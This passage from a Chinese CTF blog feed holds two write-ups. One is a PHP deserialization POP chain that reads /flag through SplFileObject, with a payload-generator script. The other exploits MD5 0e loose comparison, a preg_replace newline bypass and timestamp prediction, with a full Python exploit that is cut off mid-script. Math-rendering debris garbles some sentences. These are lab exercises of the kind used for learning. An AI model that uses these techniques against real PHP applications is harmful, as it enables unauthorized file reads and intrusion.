然后执行 </span><span><span><span></span><span>t</span><span>hi</span><span>s</span><span>−</span><span></span><span>&gt;</span><span></span></span><span><span></span><span>w</span><span>in</span><span>g</span><span>s</span><span></span><span>==</span></span><span><span></span><span><span>=</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span><span></span></span><span><span></span><span>S</span><span>H</span><span>E</span><span>N</span><span>G</span><span></span><span>−</span><span></span></span><span><span></span><span>Y</span><span><span>I</span><span><span><span><span><span><span></span><span><span><span>′</span></span></span></span></span></span></span></span></span><span>。然后执行</span></span></span></span>this -&gt; c0trick -&gt; MinatoNamikaze();。由于 c0trick 是 REVERSE 对象且没有 MinatoNamikaze 方法，触发 REVERSE::__call(‘MinatoNamikaze’, [])。</p>
</li>
<li>
<p>进入 REVERSE::__call
需要绕过 MD5 弱类型比较：</p>
<ul>
<li>
<p>harukaze 和 ysyy 必须是字符串且不相等，但 md5() 值相等。</p>
</li>
<li>
<p>使用经典 0e 碰撞：harukaze = ‘QNKCDZO’，ysyy = ‘240610708’。
条件满足后执行 ($this-&gt;acc)();。令 acc = new MISC()，触发 MISC::__invoke()。</p>
</li>
</ul>
</li>
<li>
<p>进入 MISC::__invoke
执行 $this -&gt; cr4p -&gt; png = ‘010’;。令 cr4p = new CRYPTO()。由于 CRYPTO 没有 png 属性，触发 CRYPTO::__set(‘png’, ‘010’)。</p>
</li>
<li>
<p>进入 CRYPTO::__set（关键点）
代码中有一句：</p>
</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>$this</span><span> -&gt; </span><span>dance</span><span><span> </span><span>=</span><span> </span></span><span>md5</span><span>(</span><span>rand</span><span>(</span><span>1</span><span><span>,</span><span> </span></span><span>10000</span><span>));</span></div></div><div><div><div>2</div></div><div><span>if</span><span> (</span><span>$this</span><span>-&gt;</span><span>last</span><span><span> </span><span>===</span><span> </span></span><span>$this</span><span> -&gt; </span><span>dance</span><span>){</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>由于 dance 是随机数，我们无法预测。解决办法：利用 PHP 反序列化的引用特性（R:），让 <span><span>this−&gt;last和this-&gt;last 和 </span><span><span><span></span><span>t</span><span>hi</span><span>s</span><span>−</span><span></span><span>&gt;</span><span></span></span><span><span></span><span>l</span><span>a</span><span>s</span><span>t</span><span>和</span></span></span></span>this-&gt;dance 指向同一个内存变量。 当 <span><span>this−&gt;dance被赋值时，this-&gt;dance 被赋值时，</span><span><span><span></span><span>t</span><span>hi</span><span>s</span><span>−</span><span></span><span>&gt;</span><span></span></span><span><span></span><span>d</span><span>an</span><span>ce</span><span>被赋值时，</span></span></span></span>this-&gt;last 也会同步变成同样的值，从而满足 === 条件。
然后执行：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>$kiss</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>$this</span><span> -&gt; </span><span>kyarihoshi</span><span>(</span><span>$this</span><span> -&gt; </span><span>rocage</span><span>);</span></div></div><div><div><div>2</div></div><div><span>echo</span><span> </span><span>"</span><span>$kiss</span><span>&lt;br&gt;"</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>令 kyarihoshi = ‘SplFileObject’，rocage = ‘/flag’。这样会实例化 SplFileObject(‘/flag’)。echo 该对象时，会触发其 __toString() 方法，直接输出 /flag 文件的内容。</p></section></section>
<section><h2>构造payload<a href="#构造payload"><span>#</span></a></h2><p>由于涉及到 R: 引用，手动拼写序列化字符串非常容易出错，建议用本地 PHP 脚本生成。</p><section><h3>第一步：编写生成脚本（gen.php）<a href="#第一步编写生成脚本genphp"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 复制题目中的所有类定义</span></div></div><div><div><div>2</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>3</div></div><div><span>class</span><span> </span><span>WEB</span><span> {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>private</span><span> </span><span>$sauy</span><span>;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>public</span><span> </span><span>$creambread</span><span>;</span></div></div><div><div><div>6</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__construct</span><span>(</span><span>$sauy</span><span>) {</span></div></div><div><div><div>7</div></div><div><span>        </span><span>$this</span><span>-&gt;</span><span>sauy</span><span><span> </span><span>=</span><span> </span></span><span>$sauy</span><span>;</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>9</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__destruct</span><span>() {</span></div></div><div><div><div>10</div></div><div><span>        </span><span>echo</span><span> </span><span>$this</span><span>-&gt;</span><span>sauy</span><span>;</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>12</div></div><div><span>}</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>class</span><span> </span><span>REVERSE</span><span> {</span></div></div><div><div><div>15</div></div><div><span>    </span><span>protected</span><span> </span><span>$re1sen</span><span>;</span></div></div><div><div><div>16</div></div><div><span>    </span><span>public</span><span> </span><span>$harukaze</span><span>;</span></div></div><div><div><div>17</div></div><div><span>    </span><span>public</span><span> </span><span>$ysyy</span><span>;</span></div></div><div><div><div>18</div></div><div><span>    </span><span>public</span><span> </span><span>$acc</span><span>;</span></div></div><div><div><div>19</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__call</span><span>(</span><span>$a</span><span>, </span><span>$b</span><span>){ }</span></div></div><div><div><div>20</div></div><div><span>}</span></div></div><div><div><div>21</div></div><div>
</div></div><div><div><div>22</div></div><div><span>class</span><span> </span><span>PWN</span><span> {</span></div></div><div><div><div>23</div></div><div><span>    </span><span>public</span><span> </span><span>$wings</span><span>;</span></div></div><div><div><div>24</div></div><div><span>    </span><span>public</span><span> </span><span>$c0trick</span><span>;</span></div></div><div><div><div>25</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__toString</span><span>() { }</span></div></div><div><div><div>26</div></div><div><span>}</span></div></div><div><div><div>27</div></div><div>
</div></div><div><div><div>28</div></div><div><span>class</span><span> </span><span>MISC</span><span> {</span></div></div><div><div><div>29</div></div><div><span>    </span><span>public</span><span> </span><span>$cr4p</span><span>;</span></div></div><div><div><div>30</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__invoke</span><span>(){ }</span></div></div><div><div><div>31</div></div><div><span>}</span></div></div><div><div><div>32</div></div><div>
</div></div><div><div><div>33</div></div><div><span>class</span><span> </span><span>CRYPTO</span><span> {</span></div></div><div><div><div>34</div></div><div><span>    </span><span>public</span><span> </span><span>$kyarihoshi</span><span>;</span></div></div><div><div><div>35</div></div><div><span>    </span><span>public</span><span> </span><span>$rocage</span><span>;</span></div></div><div><div><div>36</div></div><div><span>    </span><span>public</span><span> </span><span>$last</span><span>;</span></div></div><div><div><div>37</div></div><div><span>    </span><span>public</span><span> </span><span>$dance</span><span>;</span></div></div><div><div><div>38</div></div><div><span>    </span><span>public</span><span> </span><span>$kiss</span><span>;</span></div></div><div><div><div>39</div></div><div><span>     </span><span>// 补全方法，虽然生成阶段不会执行它</span></div></div><div><div><div>40</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__construct</span><span>() { }</span></div></div><div><div><div>41</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__set</span><span>(</span><span>$a</span><span>, </span><span>$b</span><span>) { }</span></div></div><div><div><div>42</div></div><div><span>}</span></div></div><div><div><div>43</div></div><div>
</div></div><div><div><div>44</div></div><div><span>// 构造链：注意这里使用了构造函数来赋值 private 属性（WEB的`$sauy`)</span></div></div><div><div><div>45</div></div><div><span>$pwn</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>PWN</span><span>();</span></div></div><div><div><div>46</div></div><div><span>$pwn</span><span>-&gt;</span><span>wings</span><span><span> </span><span>=</span><span> </span></span><span>'SHENG-YI'</span><span>;</span></div></div><div><div><div>47</div></div><div><span>$pwn</span><span>-&gt;</span><span>c0trick</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>REVERSE</span><span>();</span></div></div><div><div><div>48</div></div><div><span>$pwn</span><span>-&gt;</span><span>c0trick</span><span>-&gt;</span><span>harukaze</span><span><span> </span><span>=</span><span> </span></span><span>'QNKCDZO'</span><span>;</span></div></div><div><div><div>49</div></div><div><span>$pwn</span><span>-&gt;</span><span>c0trick</span><span>-&gt;</span><span>ysyy</span><span><span> </span><span>=</span><span> </span></span><span>'240610708'</span><span>;</span></div></div><div><div><div>50</div></div><div><span>$pwn</span><span>-&gt;</span><span>c0trick</span><span>-&gt;</span><span>acc</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>MISC</span><span>();</span></div></div><div><div><div>51</div></div><div><span>$pwn</span><span>-&gt;</span><span>c0trick</span><span>-&gt;</span><span>acc</span><span>-&gt;</span><span>cr4p</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>CRYPTO</span><span>();</span></div></div><div><div><div>52</div></div><div><span>$pwn</span><span>-&gt;</span><span>c0trick</span><span>-&gt;</span><span>acc</span><span>-&gt;</span><span>cr4p</span><span>-&gt;</span><span>kyarihoshi</span><span><span> </span><span>=</span><span> </span></span><span>'SplFileObject'</span><span>;</span></div></div><div><div><div>53</div></div><div><span>$pwn</span><span>-&gt;</span><span>c0trick</span><span>-&gt;</span><span>acc</span><span>-&gt;</span><span>cr4p</span><span>-&gt;</span><span>rocage</span><span><span> </span><span>=</span><span> </span></span><span>'/flag'</span><span>;</span></div></div><div><div><div>54</div></div><div>
</div></div><div><div><div>55</div></div><div><span>// 关键：构造引用，让 last 和 dance 指向同一个内存地址</span></div></div><div><div><div>56</div></div><div><span>$pwn</span><span>-&gt;</span><span>c0trick</span><span>-&gt;</span><span>acc</span><span>-&gt;</span><span>cr4p</span><span>-&gt;</span><span>last</span><span><span> </span><span>=</span><span> </span></span><span>&amp;</span><span>$pwn</span><span>-&gt;</span><span>c0trick</span><span>-&gt;</span><span>acc</span><span>-&gt;</span><span>cr4p</span><span>-&gt;</span><span>dance</span><span>;</span></div></div><div><div><div>57</div></div><div>
</div></div><div><div><div>58</div></div><div><span>// 把 PWN 对象通过构造函数塞进 WEB 的 private $sauy 里</span></div></div><div><div><div>59</div></div><div><span>$web</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>WEB</span><span>(</span><span>$pwn</span><span>);</span></div></div><div><div><div>60</div></div><div>
</div></div><div><div><div>61</div></div><div><span>// 输出 URL 编码后的 payload</span></div></div><div><div><div>62</div></div><div><span>echo</span><span> </span><span>urlencode</span><span>(</span><span>serialize</span><span>(</span><span>$web</span><span>));</span></div></div><div><div><div>63</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>第二步：运行脚本<a href="#第二步运行脚本"><span>#</span></a></h3><p></p><figure><img src="/images/uploads/20260920-103958-2153b4.png" alt="2026-09-20 103907.png" /><figcaption>2026-09-20 103907.png</figcaption></figure>
这个报错是本地的，完全不影响远程利用
<figure><img src="/images/uploads/20260920-105353-d355f2.png" alt="2026-09-20_10-53-18.png" /><figcaption>2026-09-20_10-53-18.png</figcaption></figure><p></p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://tuulei.cn/posts/uuctf-2022-xin-sheng-sai-funmd5-0e-peng-zhuang-yu-shi-jian-c/</id>
      <title type="text">[UUCTF 2022 新生赛]funmd5 0e 碰撞与时间戳预测</title>
      <published>2026-09-20T00:00:00.000Z</published>
      <updated>2026-09-20T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/uuctf-2022-xin-sheng-sai-funmd5-0e-peng-zhuang-yu-shi-jian-c/"/>
      <summary type="text">preg_replace 的正则 `/^(.*)0e(.*)$/` 中，. 默认不匹配换行符 \n。如果字符串中包含换行符，且 0e 位于换行符之后，则整个正则无法......</summary>
      <content type="html"><![CDATA[<section><h2>本题在线靶场<a href="#本题在线靶场"><span>#</span></a></h2><p><a href="https://www.nssctf.cn/problem/3050" target="_blank">https://www.nssctf.cn/problem/3050</a></p></section>
<section><h2>代码审计<a href="#代码审计"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span> </span></span><span>&lt;</span><span>?</span><span>php</span></div></div><div><div><div>2</div></div><div><span>error_reporting</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>3</div></div><div><span>include</span><span> </span><span>"flag.php"</span><span>;</span></div></div><div><div><div>4</div></div><div><span>$time</span><span>=</span><span>time</span><span>();</span></div></div><div><div><div>5</div></div><div><span>$guessmd5</span><span>=</span><span>md5</span><span>(</span><span>$time</span><span>);</span></div></div><div><div><div>6</div></div><div><span>$md5</span><span>=</span><span>$_GET</span><span>[</span><span>"md5"</span><span>];</span></div></div><div><div><div>7</div></div><div><span>if</span><span>(</span><span>isset</span><span>(</span><span>$md5</span><span>)){</span></div></div><div><div><div>8</div></div><div><span>    </span><span>$sub</span><span>=</span><span>substr</span><span>(</span><span>$time</span><span><span>,</span><span>-</span></span><span>1</span><span>);</span></div></div><div><div><div>9</div></div><div><span>    </span><span>$md5</span><span>=</span><span>preg_replace</span><span>(</span><span>'/</span><span>^</span><span>(.</span><span>*</span><span>)0e(.</span><span>*</span><span>)</span><span>$</span><span>/'</span><span>,</span><span>'${1}no_science_notation!${2}'</span><span>,</span><span>$md5</span><span>);</span></div></div><div><div><div>10</div></div><div><span>    </span><span>if</span><span>(</span><span>preg_match</span><span>(</span><span>'/0e/'</span><span>,</span><span>$md5</span><span>[</span><span>0</span><span>])){</span></div></div><div><div><div>11</div></div><div><span>        </span><span>$md5</span><span>[</span><span>0</span><span><span>]</span><span>=</span></span><span>substr</span><span>(</span><span>$md5</span><span>[</span><span>0</span><span>],</span><span>$sub</span><span>);</span></div></div><div><div><div>12</div></div><div><span>        </span><span>if</span><span>(</span><span>$md5</span><span>[</span><span>0</span><span><span>]</span><span>==</span></span><span>md5</span><span>(</span><span>$md5</span><span>[</span><span>0</span><span><span>])</span><span>&amp;&amp;</span></span><span>$md5</span><span>[</span><span>1</span><span><span>]</span><span>===</span></span><span>$guessmd5</span><span>){</span></div></div><div><div><div>13</div></div><div><span>            </span><span>echo</span><span> </span><span>"well!you win again!now flag is yours.&lt;br&gt;"</span><span>;</span></div></div><div><div><div>14</div></div><div><span>            </span><span>echo</span><span> </span><span>$flag</span><span>;</span></div></div><div><div><div>15</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>16</div></div><div><span>        </span><span>else</span><span>{</span></div></div><div><div><div>17</div></div><div><span>            </span><span>echo</span><span> </span><span>$md5</span><span>[</span><span>0</span><span>];</span></div></div><div><div><div>18</div></div><div><span>            </span><span>echo</span><span> </span><span>"oh!no!maybe you need learn more PHP!"</span><span>;</span></div></div><div><div><div>19</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>21</div></div><div><span>    </span><span>else</span><span>{</span></div></div><div><div><div>22</div></div><div><span>        </span><span>echo</span><span> </span><span>"this is your md5:</span><span>$md5</span><span>[</span><span>0</span><span><span>]</span><span>&lt;br&gt;"</span></span><span>;</span></div></div><div><div><div>23</div></div><div><span>        </span><span>echo</span><span> </span><span>"maybe you need more think think!"</span><span>;</span></div></div><div><div><div>24</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>25</div></div><div><span>}</span></div></div><div><div><div>26</div></div><div><span>else</span><span>{</span></div></div><div><div><div>27</div></div><div><span>    </span><span>highlight_file</span><span>(</span><span>__FILE__</span><span>);</span></div></div><div><div><div>28</div></div><div><span>    </span><span>$sub</span><span>=</span><span>strlen</span><span>(</span><span>$md5</span><span>[</span><span>0</span><span>]);</span></div></div><div><div><div>29</div></div><div><span>    </span><span>echo</span><span> </span><span>substr</span><span>(</span><span>$guessmd5</span><span>,</span><span>0</span><span>,</span><span>5</span><span>)</span><span>.</span><span>"&lt;br&gt;"</span><span>;</span></div></div><div><div><div>30</div></div><div><span>    </span><span>echo</span><span> </span><span>"plase give me the md5!"</span><span>;</span></div></div><div><div><div>31</div></div><div><span>}</span></div></div><div><div><div>32</div></div><div><span><span>?</span><span>&gt;</span></span></div></div><div><div><div>33</div></div><div><span><span>7</span><span>ffb4</span></span></div></div><div><div><div>34</div></div><div><span>plase</span><span> </span><span>give</span><span> </span><span>me</span><span> </span><span>the</span><span> </span><span>md5</span><span>!</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><section><h3>1.代码逻辑分析<a href="#1代码逻辑分析"><span>#</span></a></h3><ol>
<li>
<p>无参数时：输出 <code>$guessmd5</code> 的前 5 位，提示输入 md5。</p>
</li>
<li>
<p>传入 md5 数组：</p>
<ul>
<li><code>$time = time()，$guessmd5 = md5($time)</code>。</li>
<li><code>$sub = substr($time, -1)</code>：取时间戳最后一位数字（0~9）,并赋值给变量 <code>$sub</code>。</li>
<li>对 <code>$md5</code> 数组每个元素执行 <code>preg_replace('/^(.*)0e(.*)$/', '${1}no_science_notation!${2}', $md5)</code>。
把 <span><span>md5字符串中的0e替换成‘nosciencenotation!‘，并保留0e前后的内容，最后再把结果赋回‘md5 字符串中的 0e 替换成 `no_science_notation!`，并保留 0e 前后的内容，最后再把结果赋回 `</span><span><span><span></span><span>m</span><span>d</span><span>5</span><span>字符串中的</span><span>0</span><span>e</span><span>替换成</span><span>‘</span><span>n</span><span><span>o</span><span><span><span><span><span><span></span><span><span>s</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>c</span><span>i</span><span>e</span><span>n</span><span>c</span><span><span>e</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>o</span><span>t</span><span>a</span><span>t</span><span>i</span><span>o</span><span>n</span><span>!</span><span>‘</span><span>，并保留</span><span>0</span><span>e</span><span>前后的内容，最后再把结果赋回</span><span>‘</span></span></span></span>md5`。</li>
</ul>
<p>若包含，则 <code>$md5[0] = substr($md5[0], $sub)</code>，即从 <span><span>sub位置截取。最终条件：‘sub 位置截取。
 最终条件：`</span><span><span><span></span><span>s</span><span>u</span><span>b</span><span>位置截取。最终条件：</span><span>‘</span></span></span></span>md5[0] == md5(<span>md5[0])` &amp;&amp; `</span>md5[1] === $guessmd5`。</p>
</li>
</ol></section><section><h3>2.漏洞点与利用思路<a href="#2漏洞点与利用思路"><span>#</span></a></h3><section><h4>2.1 换行符绕过 preg_replace<a href="#21-换行符绕过-preg_replace"><span>#</span></a></h4><p>preg_replace 的正则 <code>/^(.*)0e(.*)$/</code> 中，. 默认不匹配换行符 \n。如果字符串中包含换行符，且 0e 位于换行符之后，则整个正则无法匹配，preg_replace 不会进行替换。而 <code>preg_match('/0e/', $md5[0])</code> 是在整个字符串中搜索，不受换行符影响，因此仍能匹配到 0e，从而进入内层条件。</p><section><h5>2.2 MD5 松散比较（0e 碰撞）<a href="#22-md5-松散比较0e-碰撞"><span>#</span></a></h5><p>条件 <code>$md5[0] == md5($md5[0])</code> 使用松散比较。在 PHP 中，形如 0e 后跟纯数字的字符串会被解释为科学计数法，其值为 0。因此，如果 <code>$md5[0]</code> 是一个 0e 开头的纯数字字符串，且它的 MD5 值也是 0e 开头的纯数字字符串，那么两者在 == 比较时都会被视为 0，从而相等。</p><p>已知的经典字符串：</p><ul>
<li><code>0e215962017 → MD5：0e291242476940776845150308577824</code></li>
</ul></section></section><section><h4>2.3 时间戳预测<a href="#23-时间戳预测"><span>#</span></a></h4><p><code>$guessmd5 = md5(time())，$sub = substr(time(), -1)</code>。我们需要知道服务器当前的时间戳，才能计算出完整的 <code>$guessmd5</code> 和 <code>$sub</code>。页面会泄露 <code>$guessmd5</code> 的前 5 位，我们可以通过暴力枚举当前时间附近的时间戳，找到匹配前 5 位的那个时间戳 T，从而得到完整的 <code>$guessmd5</code> 和 <code>$sub = T % 10</code>。</p></section><section><h4>2.4 构造 <code>$md5[0]</code><a href="#24-构造-md50"><span>#</span></a></h4><p>我们需要 <code>substr($md5[0], $sub) == "0e215962017"</code>。
因此 <code>$md5[0]</code> 的前 <span><span>sub个字符可以是任意字符，但必须包含换行符以绕过pregreplace，并且换行符要放在0e之前。例如，若sub 个字符可以是任意字符，但必须包含换行符以绕过 preg_replace，并且换行符要放在 0e 之前。例如，若 </span><span><span><span></span><span>s</span><span>u</span><span>b</span><span>个字符可以是任意字符，但必须包含换行符以绕过</span><span>p</span><span>r</span><span>e</span><span><span>g</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>e</span><span>pl</span><span>a</span><span>ce</span><span>，并且换行符要放在</span><span>0</span><span>e</span><span>之前。例如，若</span></span></span></span>sub = 4，可构造：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>$md5</span><span>[</span><span>0</span><span><span>] </span><span>=</span><span> </span></span><span>"aaa</span><span>\n</span><span>0e215962017"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>长度为 4 的前缀 “aaa\n”，截取后得到 “0e215962017”。</p></section><section><h4>2.5 构造 <code>$md5[1]</code><a href="#25-构造-md51"><span>#</span></a></h4><p><code>$md5[1]</code> 需要严格等于 <code>$guessmd5</code>。注意 <code>$md5[1]</code> 也会经过 <code>preg_replace</code> 处理，如果 <code>$guessmd5</code> 中包含 <code>0e</code>，则会被替换成 <code>no_science_notation!</code>，导致不相等。因此需要确保 <code>$guessmd5</code> 中不包含 <code>0e</code>。概率约 12%，若不满足可等待下一秒重试。</p></section></section></section>
<section><h2>自动化利用脚本<a href="#自动化利用脚本"><span>#</span></a></h2><p>以下 Python 脚本实现了完整的攻击流程：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> requests</span></div></div><div><div><div>2</div></div><div><span>import</span><span> hashlib</span></div></div><div><div><div>3</div></div><div><span>import</span><span> time</span></div></div><div><div><div>4</div></div><div><span>import</span><span> re</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span># 目标 URL</span></div></div><div><div><div>7</div></div><div><span><span>url </span><span>=</span><span> </span></span><span>"http://node5.anna.nssctf.cn:22221"</span><span>   </span><span># 替换为实际 URL</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span># 已知的 0e 碰撞字符串</span></div></div><div><div><div>10</div></div><div><span><span>COLLISION</span><span> </span><span>=</span><span> </span></span><span>"0e215962017"</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>while</span><span> </span><span>True</span><span>:</span></div></div><div><div><div>13</div></div><div><span>    </span><span># 1. 获取 $guessmd5 前 5 位</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>r </span><span>=</span><span> requests.</span><span>get</span><span>(url)</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>match </span><span>=</span><span> re.</span><span>search</span><span>(</span><span>r</span><span><span>'</span><span>(</span></span><span>[</span><span>0-9a-f</span><span>]{5}</span><span><span>)</span><span>&lt;br&gt;'</span></span><span>, r.text)</span></div></div><div><div><div>16</div></div><div><span>    </span><span>if</span><span> </span><span>not</span><span> match:</span></div></div><div><div><div>17</div></div><div><span>        </span><span>print</span><span>(</span><span>"未获取到前5位，重试..."</span><span>)</span></div></div><div><div><div>18</div></div><div><span><span>        </span></span><span>time.</span><span>sleep</span><span>(</span><span>0.5</span><span>)</span></div></div><div><div><div>19</div></div><div><span>        </span><span>continue</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>prefix5 </span><span>=</span><span> match.</span><span>group</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>21</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"[+] 获取到前5位: </span><span>{</span><span>prefix5</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span>    </span><span># 2. 暴力枚举时间戳，找到完整 $guessmd5</span></div></div><div><div><div>24</div></div><div><span><span>    </span></span><span>now </span><span>=</span><span> </span><span>int</span><span><span>(time.</span><span>time</span><span>())</span></span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>found_T </span><span>=</span><span> </span><span>None</span></div></div><div><div><div>26</div></div><div><span>    </span><span>for</span><span> delta </span><span>in</span><span> </span><span>range</span><span><span>(</span><span>-</span></span><span>120</span><span>, </span><span>120</span><span>):  </span><span># 前后搜索2分钟</span></div></div><div><div><div>27</div></div><div><span><span>        </span></span><span>T </span><span>=</span><span> now </span><span>+</span><span> delta</span></div></div><div><div><div>28</div></div><div><span>        </span><span>if</span><span><span> hashlib.</span><span>md5</span><span>(</span></span><span>str</span><span><span>(T).</span><span>encode</span><span>()).</span><span>hexdigest</span><span>().</span><span>startswith</span><span>(prefix5):</span></span></div></div><div><div><div>29</div></div><div><span><span>            </span></span><span>found_T </span><span>=</span><span> T</span></div></div><div><div><div>30</div></div><div><span>            </span><span>break</span></div></div><div><div><div>31</div></div><div>
</div></div><div><div><div>32</div></div><div><span>    </span><span>if</span><span> found_T </span><span>is</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>33</div></div><div><span>        </span><span>print</span><span>(</span><span>"[-] 未找到匹配时间戳，重试..."</span><span>)</span></div></div><div><div><div>34</div></div><div><span><span>        </span></span><span>time.</span><span>sleep</span><span>(</span><span>0.5</span><span>)</span></div></div><div><div><div>35</div></div><div><span>        </span><span>continue</span></div></div><div><div><div>36</div></div><div>
</div></div><div><div><div>37</div></div><div><span><span>    </span></span><span>guess_md5 </span><span>=</span><span> hashlib.</span><span>md5</span><span>(</span><span>str</span><span><span>(found_T).</span><span>encode</span><span>()).</span><span>hexdigest</span><span>()</span></span></div></div><div><div><div>38</div></div><div><span><span>    </span></span><span>sub </span><span>=</span><span> found_T </span><span>%</span><span> </span><span>10</span></div></div><div><div><div>39</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"[+] 时间戳: </span><span>{</span><span>found_T</span><span>}</span><span>, sub = </span><span>{</span><span>sub</span><span>}</span><span>, guess_md5 = </span><span>{</span><span>guess_md5</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>40</div></div><div>
</div></div><div><div><div>41</div></div><div><span>    </span><span># 检查 sub 是否为 0，为 0 则无法构造前缀</span></div></div><div><div><div>42</div></div><div><span>    </span><span>if</span><span><span> sub </span><span>==</span><span> </span></span><span>0</span><span>:</span></div></div><div><div><div>43</div></div><div><span>        </span><span>print</span><span>(</span><span>"[-] sub 为 0，等待下一秒..."</span><span>)</span></div></div><div><div><div>44</div></div><div><span><span>        </span></span><span>time.</span><span>sleep</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>45</div></div><div><span>        </span><span>continue</span></div></div><div><div><div>46</div></div><div>
</div></div><div><div><div>47</div></div><div><span>    </span><span># 检查 guess_md5 是否包含 '0e'，若包含则会被替换</span></div></div><div><div><div>48</div></div><div><span>    </span><span>if</span><span> </span><span>'0e'</span><span> </span><span>in</span><span> guess_md5:</span></div></div><div><div><div>49</div></div><div><span>        </span><span>print</span><span>(</span><span>"[-] guess_md5 包含 '0e'，等待下一秒..."</span><span>)</span></div></div><div><div><div>50</div></div><div><span><span>        </span></span><span>time.</span><span>sleep</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>51</div></div><div><span>        </span><span>continue</span></div></div><div><div><div>52</div></div><div>
</div></div><div><div><div>53</div></div><div><span>    </span><span># 3. 构造 $md5[0]</span></div></div><div><div><div>54</div></div><div><span>    </span><span># 前缀长度为 sub，包含换行符，且换行符放在 0e 之前</span></div></div><div><div><div>55</div></div><div><span><span>    </span></span><span>prefix </span><span>=</span><span> </span><span>'a'</span><span><span> </span><span>*</span><span> (sub </span><span>-</span><span> </span></span><span>1</span><span><span>) </span><span>+</span><span> </span></span><span>'</span><span>\n</span><span>'</span><span>  </span><span># 长度为 sub</span></div></div><div><div><div>56</div></div><div><span><span>    </span></span><span>md5_0 </span><span>=</span><span> prefix </span><span>+</span><span> </span><span>COLLISION</span></div></div><div><div><div>57</div></div><div>
</div></div><div><div><div>58</div></div><div><span>    </span><span># 4. 发送请求</span></div></div><div><div><div>59</div></div><div><span><span>    </span></span><span>params </span><span>=</span><span> {</span></div></div><div><div><div>60</div></div><div><span>        </span><span>'md5[0]'</span><span>: md5_0,</span></div></div><div><div><div>61</div></div><div><span>        </span><span>'md5[1]'</span><span>: guess_md5</span></div></div><div><div><div>62</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>63</div></div><div><span>    </span><span># requests 会自动对参数进行 URL 编码</span></div></div><div><div><div>64</div></div><div><span><span>    </span></span><span>r2 </span><span>=</span><span> requests.</span><span>get</span><span>(url, </span><span>params</span><span><span>=</span><span>params)</span></span></div></div><div><div><div>65</div></div><div><span>    </span><span>if</span><span> </span><span>"well!you win again!"</span><span> </span><span>in</span><span> r2.text </span><span>or</span><span> </span><span>"flag"</span><span> </span><span>in</span><span> r2.text:</span></div></div><div><div><div>66</div></div><div><span>        </span><span>print</span><span>(</span><span>"[+] 成功！"</span><span>)</span></div></div><div><div><div>67</div></div><div><span>        </span><span>print</span><span>(r2.text)</span></div></div><div><div><div>68</div></div><div><span>        </span><span>break</span></div></div><div><div><div>69</div></div><div><span>    </span><span>else</span><span>:</span></div></div><div><div><div>70</div></div><div><span>        </span><span>print</span><span>(</span><span>"[-] 